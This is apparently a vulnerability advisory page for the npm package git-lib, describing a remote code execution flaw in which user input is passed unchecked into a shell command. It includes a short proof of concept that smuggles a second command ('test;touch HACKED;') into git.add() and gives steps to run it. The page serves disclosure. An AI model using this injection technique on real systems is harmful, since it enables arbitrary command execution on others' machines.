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git-lib@1.2.2 vulnerabilities

A github library for multiple package uses

  • latest version

    1.6.0

  • first published

    10 years ago

  • latest version published

    10 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the git-lib package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • M
    Remote Code Execution (RCE)

    git-lib is an a library with different git commands for uses.

    Affected versions of this package are vulnerable to Remote Code Execution (RCE). A user input is formatted inside a command that will be executed without any check.

    PoC by mik317

    • Create the following PoC file:
    // poc.js
var git = require("git-lib");

git.add("test;touch HACKED;").then(function(){
    /** successfully added **/
}).catch(function(err){
    /** unsuccessful **/
});
    • Check there aren't files called HACKED
    • Execute the following commands in another terminal:
    npm i git-lib # Install affected module
git init # Avoid problems with *git*
node poc.js #  Run the PoC
    • Recheck the files: now HACKED has been created

    How to fix Remote Code Execution (RCE)?

    There is no fixed version for git-lib.

    *
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